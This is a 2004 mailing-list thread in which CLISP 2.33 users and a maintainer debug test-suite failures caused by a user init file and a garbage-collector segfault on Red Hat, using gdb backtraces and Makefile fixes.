I figured (this was the real mistake) I would start at any old input
position, do a read-line, and hope that the next line started at the
begining of a log entry.
Well, it didn't.  The input was a url that contained a newline, so I 
was trying to read some stuff out of the middle of the url.
What confused me was the fact that READ complained about an
illegal character.  It never occurred to me that any characters were
illegal to read.  I figured that all characters not otherwise
specified would act like #\A.  So I mistakenly thought that this was a
problem related to character conversion, just cause that's the problem
that has always bitten me in the past.


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Hi all,

I'm having trouble building clisp 2.33 on Red Hat
Professional Workstation (version 3, methinks).  Would this
be the appropriate place to discuss that?

Thanks for your time.
gene

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> * Gene Michael Stover <tzf@hxngb.serrfuryy.bet> [2004-03-21 07:01:26 +0000]:
>
> I'm having trouble building clisp 2.33 on Red Hat
> Professional Workstation (version 3, methinks).
> Would this be the appropriate place to discuss that?
yes.
please follow the instructions in <http://clisp.cons.org/clisp.html#bugs>.

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Date: Sun Mar 21 04:59:04 2004
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Gene Michael Stover writes:
> Hi all,
> 
> I'm having trouble building clisp 2.33 on Red Hat
> Professional Workstation (version 3, methinks).  Would this
> be the appropriate place to discuss that?


With version 2.33, I get these errors:


Test failed:
-rw-------    1 pascal   local        2574 2004-03-21 08:03 clos.erg
To see which tests failed, type
    cat /local/src/clisp-2.33/src/suite/*.erg
make[1]: *** [compare] Error 1
make[1]: Leaving directory `/local/src/clisp-2.33/src/suite'
make: *** [testsuite] Error 2

*** - 

$ cat src/suite/*.erg

Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*))
CORRECT: (100 200)
CLISP  : ERROR
LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist

Form: (PROGN (DEFCLASS POS NIL ((X :INITARG :X :READER POS-X) (Y :INITARG :Y :READER POS-Y) (R :ACCESSOR POS-R))) (DEFMETHOD SHARED-INITIALIZE :AFTER ((SELF POS) IGNORE1 &REST IGNORE2) (DECLARE (IGNORE IGNORE1 IGNORE2)) (UNLESS (SLOT-BOUNDP SELF 'R) (SETF (POS-R SELF) (SQRT (+ (* (POS-X SELF) (POS-X SELF)) (* (POS-Y SELF) (POS-Y SELF))))))) (DEFMETHOD MAKE-LOAD-FORM ((SELF POS) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF SELF)) :X ',(POS-X SELF) :Y ',(POS-Y SELF))) (SETQ *FOO* (MAKE-INSTANCE 'POS :X 3.0 :Y 4.0)) (MLF-TESTER '*FOO*) (LIST (POS-X *FOO*) (POS-Y *FOO*) (POS-R *FOO*)))
CORRECT: (3.0 4.0 5.0)
CLISP  : ERROR
LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist

Form: (PROGN (DEFCLASS TREE-WITH-PARENT NIL ((PARENT :ACCESSOR TREE-PARENT) (CHILDREN :INITARG :CHILDREN))) (DEFMETHOD MAKE-LOAD-FORM ((X TREE-WITH-PARENT) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) (VALUES `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF X))) `(SETF (TREE-PARENT ',X) ',(SLOT-VALUE X 'PARENT) (SLOT-VALUE ',X 'CHILDREN) ',(SLOT-VALUE X 'CHILDREN)))) (SETQ *FOO* (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN (LIST (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL) (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL)))) (SETF (TREE-PARENT *FOO*) *FOO*) (DOLIST (CH (SLOT-VALUE *FOO* 'CHILDREN)) (SETF (TREE-PARENT CH) *FOO*)) (MLF-TESTER '*FOO*) (LIST (EQ *FOO* (TREE-PARENT *FOO*)) (EVERY (LAMBDA (X) (EQ X *FOO*)) (MAPCAR #'TREE-PARENT (SLOT-VALUE *FOO* 'CHILDREN))) (EVERY #'NULL (MAPCAR (LAMBDA (X) (SLOT-VALUE X 'CHILDREN)) (SLOT-VALUE *FOO* 'CHILDREN)))))
CORRECT: (T T T)
CLISP  : ERROR
LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist



It seems the testsuite does not isolate itself from the user's
configuration...  It should use it's own init file or none at all.


I'd suggest to add -norc in src/suite/Makefile:

tests : force
	$(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests))'

complete : force
	$(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests nil))'

compare : force
	(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo "    cat "`pwd`"/*.erg" ; exit 1)
	echo "Test passed."

%.erg: %.tst $(BD)/lispinit.mem $(BD)/lisp$(LEXE)
	$(LISP) -norc -i tests.lisp -x '(run-test "$<")'


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Here's the bug report for what I found.  I hope I followed
the instruction correctly.

I apologize for the lenght, but I think I isolated the line
where the sigsegv happens.

I'd like to help fix it.  If there is anything I can do, let
me know.

1. SYSTEM INFO

    sh-2.05b$ uname -a
    Linux plague 2.4.21-9.0.1.EL #1 Mon Feb 9 22:44:14 EST 2004 i686 i686 i386 GNU/Linux
    sh-2.05b$ gcc --version
    gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-24)
    Copyright (C) 2002 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.  There is NO
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

    libc-2.3.2.so

2. THE SOURCES I USED

   obtained sources as the file clisp-2.33.tar.bz2 from clisp on
   Source Forget.  I think the mirror I used was ibiblio (a.k.a Chapel
   Hill, NC).

   date was 20 March 2004 GMT

3. HOW I BUILT IT

   I originally built clisp with no special options: I just did
   "./configure" & then followed the instructions it printed.

   The rest of this info is with "./configure --with-debug --build
   build-g".  When I build it that way, the final stuff it prints
   during the build is:

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
STACK depth: 23979
SP depth: 67110906
WARNING: *FOREIGN-ENCODING*: reset to ASCII
WARNING: *FOREIGN-ENCODING*: reset to ASCII
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004

;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Segmentation fault

Compilation exited abnormally with code 2 at Sun Mar 21 16:16:05

   The entire output from the build it as
   <http://lisp-p.org/clb/build.log>.

   I don't see a backtrace.  Also, I have more details in my own words
   below.

4. PRE-BUILT BINARIES?

   I found this but with 2.33, & I couldn't find pre-built binaries
   for 2.33, but I tried the RPM for 2.32.  It installed, & I can run
   clisp & get a command line, but the first time it runs the garbage
   collector, it gets the same SIGSEGV.  Check it out:

   sh-2.05b$ clisp --version
    GNU CLISP 2.32 (2003-12-29) (built on heretic.physik.fu-berlin.de [160.45.32.86])
    Software: GNU C 3.2.2 20030222 (Red Hat Linux 3.2.2-5) ANSI C program
    Features: 
    (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
     GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
     BASE-CHAR=CHARACTER PC386 UNIX)
    Installation directory: /usr/lib/clisp/
    User language: ENGLISH
    Machine: I686(I686)plague [127.0.0.1]
    sh-2.05b$ clisp
;; clisp banner clipped to save space
    ;; Loading file /home/gene/.clisprc ...
    ;; Loaded file /home/gene/.clisprc
    [1]> (defun moo (count)
           (dotimes (i count)
             ;; generate some garbage
             (loop for i from 1 to count collect i))
         count)
    MOO
    [2]> (time (moo 5)) ; no GC, & it'll work fine
    
    Real time: 3.03E-4 sec.
    Run time: 0.0 sec.
    Space: 200 Bytes
    5
    [3]> (time (moo 10000)) ; will need to GC, will SIGSEGV
    Segmentation fault
    sh-2.05b$ 

   I guess this shows that the problem isn't new to 2.33 & that it's
   not in the build process; it's some incompatibility between the
   binaries & the OS or some libraries.  Also, I think I've located
   the problem in the spvw_garcol.d file.  Details below.

5. CLISP --VERSION

   Not applicable because clisp doesn't finish building.

6. OUTPUT

   The final messages during the build are under step #3.  Also see
   some details below.

PROBLEM'S LOCATION

For the notes in this section, I ran "./configure --with-debug".
After the ./makemake stuff & make config.lisp, I added
"-DDEBUG_GC_MARK=1" to the CFLAGS in the Makefile.  Then "make" in the
./src directry.  Here are the last few things it prints during that
build:

    gc_mark_stack: 0xb71cf2a0/3072127648 (1745319379)
    gc_mark obj = 0x680775d3
    down: vorg = 0x0, dies = 0x680775d3
    up:   vorg = 0x0, dies = 0x680775d3
    gc_mark_stack: 0xb71cf29c/3072127644 (3758096392)
    gc_mark_stack: 0xb71cf298/3072127640 (3072127492)
    gc_mark_stack: 0xb71cf290/3072127632 (1)
    gc_mark obj = 0x1
    down: vorg = 0x0, dies = 0x1
    make: *** [interpreted.mem] Segmentation fault
    
    Compilation exited abnormally with code 2 at Sun Mar 21 16:35:01

The entire log for this build is at
<http://lisp-p.org/clb/build2.log>.

By inserting my own debug statements, I think I've tracked the actual
page fault to line 314 in spvw_garcol.d.  Here's the relevant chunk of
code:

 #else
  switch (as_oint(dies) & nonimmediate_bias_mask) {
    case cons_bias: /* cons */
      /* NB: (immediate_bias & nonimmediate_bias_mask) == cons_bias. */
      if (immediate_object_p(dies)) goto up;
      down_pair();
    case varobject_bias:

I guess it would make sense to see a sigsegv here if 'dies' held a
crap memory address, which appears to be the case from the earlier
trace info ("down: vorg = 0x0, dies = 0x1", which is above).

I'd like to help fix this, but I don't know where to go from here.  Is
it a configuration problem (some C preprocessor symbol defined
incorrectly), an algorithm problem in the GC, or something else?  If I
can help, let me know.

gene



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Date: Sun Mar 21 09:47:01 2004
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-21 14:00:15 +0100]:
>
> With version 2.33, I get these errors:
>
>
> Test failed:
> -rw-------    1 pascal   local        2574 2004-03-21 08:03 clos.erg
> To see which tests failed, type
>     cat /local/src/clisp-2.33/src/suite/*.erg
> make[1]: *** [compare] Error 1
> make[1]: Leaving directory `/local/src/clisp-2.33/src/suite'
> make: *** [testsuite] Error 2
>
> *** - 
>
> $ cat src/suite/*.erg
>
> Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*))
> CORRECT: (100 200)
> CLISP  : ERROR
> LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist

WFM.
could you please investigate why it is looking in CLOCC ?

> Form: (PROGN (DEFCLASS POS NIL ((X :INITARG :X :READER POS-X) (Y :INITARG :Y :READER POS-Y) (R :ACCESSOR POS-R))) (DEFMETHOD SHARED-INITIALIZE :AFTER ((SELF POS) IGNORE1 &REST IGNORE2) (DECLARE (IGNORE IGNORE1 IGNORE2)) (UNLESS (SLOT-BOUNDP SELF 'R) (SETF (POS-R SELF) (SQRT (+ (* (POS-X SELF) (POS-X SELF)) (* (POS-Y SELF) (POS-Y SELF))))))) (DEFMETHOD MAKE-LOAD-FORM ((SELF POS) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF SELF)) :X ',(POS-X SELF) :Y ',(POS-Y SELF))) (SETQ *FOO* (MAKE-INSTANCE 'POS :X 3.0 :Y 4.0)) (MLF-TESTER '*FOO*) (LIST (POS-X *FOO*) (POS-Y *FOO*) (POS-R *FOO*)))
> CORRECT: (3.0 4.0 5.0)
> CLISP  : ERROR
> LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist

ditto.

> Form: (PROGN (DEFCLASS TREE-WITH-PARENT NIL ((PARENT :ACCESSOR TREE-PARENT) (CHILDREN :INITARG :CHILDREN))) (DEFMETHOD MAKE-LOAD-FORM ((X TREE-WITH-PARENT) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) (VALUES `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF X))) `(SETF (TREE-PARENT ',X) ',(SLOT-VALUE X 'PARENT) (SLOT-VALUE ',X 'CHILDREN) ',(SLOT-VALUE X 'CHILDREN)))) (SETQ *FOO* (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN (LIST (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL) (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL)))) (SETF (TREE-PARENT *FOO*) *FOO*) (DOLIST (CH (SLOT-VALUE *FOO* 'CHILDREN)) (SETF (TREE-PARENT CH) *FOO*)) (MLF-TESTER '*FOO*) (LIST (EQ *FOO* (TREE-PARENT *FOO*)) (EVERY (LAMBDA (X) (EQ X *FOO*)) (MAPCAR #'TREE-PARENT (SLOT-VALUE *FOO* 'CHILDREN))) (EVERY #'NULL (MAPCAR (LAMBDA (X) (SLOT-VALUE X 'CHILDREN)) (SLOT-VALUE *FOO* 'CHILDREN)))))
> CORRECT: (T T T)
> CLISP  : ERROR
> LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist

ditto.

> I'd suggest to add -norc in src/suite/Makefile:
>
> tests : force
> 	$(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests))'
>
> complete : force
> 	$(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests nil))'
>
> compare : force
> 	(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo "    cat "`pwd`"/*.erg" ; exit 1)
> 	echo "Test passed."
>
> %.erg: %.tst $(BD)/lispinit.mem $(BD)/lisp$(LEXE)
> 	$(LISP) -norc -i tests.lisp -x '(run-test "$<")'

$(LISP) already has "-norc" in it.

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-21 14:00:15 +0100]:
> >
> > With version 2.33, I get these errors:
> >
> >
> > Test failed:
> > -rw-------    1 pascal   local        2574 2004-03-21 08:03 clos.erg
> > To see which tests failed, type
> >     cat /local/src/clisp-2.33/src/suite/*.erg
> > make[1]: *** [compare] Error 1
> > make[1]: Leaving directory `/local/src/clisp-2.33/src/suite'
> > make: *** [testsuite] Error 2
> >
> > *** - 
> >
> > $ cat src/suite/*.erg
> >
> > Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*))
> > CORRECT: (100 200)
> > CLISP  : ERROR
> > LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist
> 
> WFM.
> could you please investigate why it is looking in CLOCC ?

It's obvious:

[pascal@thalassa clisp-2.33]$ find . -name make-load-form-demo\*
./src/suite/make-load-form-demo.fas

The suite tries to load its own make-load-form-demo.fas, but there is
another make-load-form-demo.lisp somewhere else.  My .clisprc.lisp
defines some logical pathname translations and some variables that
interfere with the loading of clisp-2.33 copy of the suite.


> > I'd suggest to add -norc in src/suite/Makefile:
> >
> > tests : force
> > 	$(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests))'
> >
> > complete : force
> > 	$(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests nil))'
> >
> > compare : force
> > 	(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo "    cat "`pwd`"/*.erg" ; exit 1)
> > 	echo "Test passed."
> >
> > %.erg: %.tst $(BD)/lispinit.mem $(BD)/lisp$(LEXE)
> > 	$(LISP) -norc -i tests.lisp -x '(run-test "$<")'
> 
> $(LISP) already has "-norc" in it.

No it does not.

suite/Makefile does indeed has a LISP= with -norc, but it's invoked
from src/Makefile without -norc:


/local/src/clisp-2.33/src/suite/Makefile:9:LISP=$(BD)/lisp$(LEXE) -E utf-8 -norc -B $(BD) -M $(BD)/lispinit.mem

/local/src/clisp-2.33/src/Makefile:2145:        cd suite && $(MAKE) LISP="$(bindir)/clisp"


$ mkdir /tmp/test ; cd /tmp/test 
$ echo 'VAR=foo /all: ; @echo $(VAR)/'|tr / '\012'>Makefile
$ make VAR=bar
bar


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-03-21 19:02:57 +0100]:
>
> /local/src/clisp-2.33/src/Makefile:2145:        cd suite && $(MAKE) LISP="$(bindir)/clisp"

thanks, fixed in the CVS.


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> * Gene Michael Stover <tzf@zk.serrfuryy.bet> [2004-03-21 16:59:03 +0000]:
>
>     gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-24)
excellent!  3.3 has a C++ bug, but your setup is good...

>     [3]> (time (moo 10000)) ; will need to GC, will SIGSEGV
>     Segmentation fault

OK, so you are getting a GC segfault.
this is usually an indicator of a GC-safety bug, not a bug in GC.
see <http://clisp.cons.org/impnotes/gc-safety.html>.

Please do
CC=g++ ./configure --with-debug build-g-gxx
you should get an abort.
then run under GDB and see where you get the abort.

> ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> ;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Segmentation fault

yep, this is the first GC.

>    I don't see a backtrace.

to get the backtrace, you need to run under gdb.


PS. thank you very much for such a detailed and thorough report.

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Hi Sam,

> Please do
> CC=g++ ./configure --with-debug build-g-gxx
> you should get an abort.
> then run under GDB and see where you get the abort.

I did the ./configure you recommended & then the gdb dance.
Here's the top of the backtrace (plus the last few lines of
the run for context).  (Entire backtrace is at
<http://lisp-p.org/clb/backtrace.txt>.)

gc_mark obj = 0x680775d3
down: vorg = 0x0, dies = 0x680775d3
up:   vorg = 0x0, dies = 0x680775d3
gc_mark_stack: 0xb71cf29c/3072127644 (3758096392)
gc_mark_stack: 0xb71cf298/3072127640 (3072127492)
gc_mark_stack: 0xb71cf290/3072127632 (1)
gc_mark obj = 0x1
down: vorg = 0x0, dies = 0x1
 
Program received signal SIGSEGV, Segmentation fault.
0x0804cf3b in gc_mark (obj={one_o = 1}) at spvw_garcol.d:320
320           switch (Record_type(dies)) {
(gdb) backtrace
#0  0x0804cf3b in gc_mark (obj={one_o = 1}) at spvw_garcol.d:320
#1  0x0804d3ae in gc_mark_stack (objptr=0xb71cf290) at spvw_garcol.d:521
#2  0x0804d3d8 in gc_markphase () at spvw_garcol.d:532
#3  0x0804deb2 in gar_col_normal () at spvw_garcol.d:1718
#4  0x0804fe45 in do_gar_col_simple () at spvw_garcol.d:2603
#5  0x0811ba5d in with_gc_statistics (fun=0x804fe2c <do_gar_col_simple>)
    at predtype.d:2801
#6  0x0804fe67 in gar_col_simple () at spvw_garcol.d:2632
#7  0x08050159 in make_space_gc_false (need=8, heapptr=0x81fc274)
    at spvw_allocate.d:277
#8  0x08050298 in allocate_cons () at spvw_typealloc.d:47
#9  0x080bc04a in read_delimited_list_recursive (stream_=0xb71cf37c, endch=
      {one_o = 5287}, ifdotted={one_o = 1752073919}) at io.d:2425
#10 0x080bbcc4 in read_delimited_list (stream_=0xb71cf37c, endch=
      {one_o = 5287}, ifdotted={one_o = 1752073919}) at io.d:2376
#11 0x080bc63d in C_lpar_reader () at io.d:2539
#12 0x08069a1d in funcall_subr (fun={one_o = 136231402}, args_on_stack=2)
    at eval.d:5198
#13 0x08068df7 in funcall (fun={one_o = 136231402}, args_on_stack=2)
    at eval.d:4800
#14 0x080ba5a3 in read_macro (ch={one_o = 5159}, stream_=0xb71cf368)
    at io.d:1865
#15 0x080bc014 in read_delimited_list_recursive (stream_=0xb71cf368, endch=
---Type <return> to continue, or q <return> to quit---


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Hi Gene,

> * Gene Michael Stover <tzf@kz.serrfuryy.bet> [2004-03-22 17:41:01 +0000]:
>
>> CC=g++ ./configure --with-debug build-g-gxx
>> you should get an abort.
>> then run under GDB and see where you get the abort.
>
> I did the ./configure you recommended & then the gdb dance.

correct me if I am wrong, but you are not using G++, right?
note that setting of CC=g++ above!

> gc_mark obj = 0x680775d3
> down: vorg = 0x0, dies = 0x680775d3
> up:   vorg = 0x0, dies = 0x680775d3
> gc_mark_stack: 0xb71cf29c/3072127644 (3758096392)
> gc_mark_stack: 0xb71cf298/3072127640 (3072127492)
> gc_mark_stack: 0xb71cf290/3072127632 (1)
> gc_mark obj = 0x1
> down: vorg = 0x0, dies = 0x1

if you crash in GC, it is probably long after the actual bug.
if you build with g++ and DEBUG_GCSAFETY (enabled by --with-debug),
CLISP will abort at the precise error spot.

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> correct me if I am wrong, but you are not using G++, right?
> note that setting of CC=g++ above!

My mistake.  I've run it again, & here's the last of the run
plus the top of the backstacktrace.  The full log (including
the ./configure & make output) are at
<http://lisp-p.org/clb/backtrace.txt>.  The exact commands I
used are at <http://lisp-p.org/clb/go>.

I'm kind of concerned I didn't configure it correctly even
this time because there's less output & because of the
warning about the language mismatching the frame.  But the
stack trace is much larger.

gene

;; begin output & backtrace
Function "sigsegv_handler_failed" not defined.
STACK depth: 23979
SP depth: 67110230
WARNING: *FOREIGN-ENCODING*: reset to ASCII
WARNING: *FOREIGN-ENCODING*: reset to ASCII

Program received signal SIGSEGV, Segmentation fault.
0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898})
    at spvw_garcol.d:320
320	      switch (Record_type(dies)) {
Warning: the current language does not match this frame.
(gdb) backtrace
#0  0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898})
    at spvw_garcol.d:320
#1  0x0804ec9c in gc_mark_stack (objptr=0xb70f1794) at spvw_garcol.d:521
#2  0x0804eccc in gc_markphase () at spvw_garcol.d:532
#3  0x0804fd44 in gar_col_normal () at spvw_garcol.d:1718
#4  0x080531c1 in do_gar_col_simple () at spvw_garcol.d:2603
#5  0x08229b48 in with_gc_statistics(void (*)()) (
    fun=0x80531a8 <do_gar_col_simple>) at predtype.d:2801
#6  0x080531e3 in gar_col_simple () at spvw_garcol.d:2632
#7  0x0805349a in make_space_gc_true (need=16, heapptr=0x835ef64)
    at spvw_allocate.d:216
#8  0x080539bb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92
#9  0x0810c50b in test_env () at control.d:1964
#10 0x0810c679 in C_macro_function() () at control.d:1980


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> * Gene Michael Stover <tzf@ivaynaq.serrfuryy.bet> [2004-03-22 19:59:23 +0000]:
>
>> correct me if I am wrong, but you are not using G++, right?
>> note that setting of CC=g++ above!
>
> My mistake.  I've run it again, & here's the last of the run
> plus the top of the backstacktrace.  The full log (including
> the ./configure & make output) are at
> <http://lisp-p.org/clb/backtrace.txt>.  The exact commands I
> used are at <http://lisp-p.org/clb/go>.

still no go.  apparently, you did not "rm -rf" build-g-gxx directory
before reconfiguring.

there is no link command in <http://lisp-p.org/clb/backtrace.txt>, and,
apparently, you are not using the C++-build executable:

> #0  0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898})
>     at spvw_garcol.d:320
> #1  0x0804ec9c in gc_mark_stack (objptr=0xb70f1794) at spvw_garcol.d:521
> #2  0x0804eccc in gc_markphase () at spvw_garcol.d:532
> #3  0x0804fd44 in gar_col_normal () at spvw_garcol.d:1718
> #4  0x080531c1 in do_gar_col_simple () at spvw_garcol.d:2603
> #5  0x08229b48 in with_gc_statistics(void (*)()) (
>     fun=0x80531a8 <do_gar_col_simple>) at predtype.d:2801
> #6  0x080531e3 in gar_col_simple () at spvw_garcol.d:2632
> #7  0x0805349a in make_space_gc_true (need=16, heapptr=0x835ef64)
>     at spvw_allocate.d:216
> #8  0x080539bb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92
> #9  0x0810c50b in test_env () at control.d:1964
> #10 0x0810c679 in C_macro_function() () at control.d:1980

if you see function names printed "in the clear", it is probably C.
if you saw something like
   _Z17C_read_eval_printv
or
   _Z15funcall_closure6objectm
then it would have been C++ ("mangling")

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Date: Mon Mar 22 15:52:05 2004
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Damn.  I did it again, & I get the same results (function
names in the backtrace are not mangled).  This time, I
swear, I blew away the entire clisp-2.33 source directory,
unpacked it anew, ran the ./configure, & all that.  Could
you check the commands I used?

All the files are at <http://lisp-p.org/clb/>.  You should
be able to view that entire directory.  "go" is the script.
"go.cmd" is the commands for gdb.  "go.out" is the output of
the entire thing (./configure, make, gdb backtrace -- the
whole enchilada).

Thanks for spending so much time on this.  I apologize for
having such trouble getting you a decent backtrace.

Just in case there is something useful in the most recent
backtrace, here's the top of it:

Function "sigsegv_handler_failed" not defined.
STACK depth: 23979
SP depth: 67111153

Program received signal SIGSEGV, Segmentation fault.
0x0804e474 in gc_mark (obj={one_o = 1, allocstamp = 32899})
    at spvw_garcol.d:320
320	      switch (Record_type(dies)) {
Warning: the current language does not match this frame.
(gdb) backtrace
#0  0x0804e474 in gc_mark (obj={one_o = 1, allocstamp = 32899})
    at spvw_garcol.d:320
#1  0x0804ecdc in gc_mark_stack (objptr=0xb7301a40) at spvw_garcol.d:521
#2  0x0804ed0c in gc_markphase () at spvw_garcol.d:532
#3  0x0804fd84 in gar_col_normal () at spvw_garcol.d:1718
#4  0x08053201 in do_gar_col_simple () at spvw_garcol.d:2603
#5  0x08229b88 in with_gc_statistics(void (*)()) (
    fun=0x80531e8 <do_gar_col_simple>) at predtype.d:2801
#6  0x08053223 in gar_col_simple () at spvw_garcol.d:2632
#7  0x080534da in make_space_gc_true (need=16, heapptr=0x835efc4)
    at spvw_allocate.d:216
#8  0x080539fb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92
#9  0x0810c54b in test_env () at control.d:1964


   From: Sam Steingold <sds@gnu.org>
   Date: Mon, 22 Mar 2004 15:36:23 -0500

   > * Gene Michael Stover <tzf@ivaynaq.serrfuryy.bet> [2004-03-22 19:59:23 +0000]:
   >
   >> correct me if I am wrong, but you are not using G++, right?
   >> note that setting of CC=g++ above!
   >
   > My mistake.  I've run it again, & here's the last of the run
   > plus the top of the backstacktrace.  The full log (including
   > the ./configure & make output) are at
   > <http://lisp-p.org/clb/backtrace.txt>.  The exact commands I
   > used are at <http://lisp-p.org/clb/go>.

   still no go.  apparently, you did not "rm -rf" build-g-gxx directory
   before reconfiguring.

   there is no link command in <http://lisp-p.org/clb/backtrace.txt>, and,
   apparently, you are not using the C++-build executable:

   > #0  0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898})
   >     at spvw_garcol.d:320
   > #1  0x0804ec9c in gc_mark_stack (objptr=0xb70f1794) at spvw_garcol.d:521
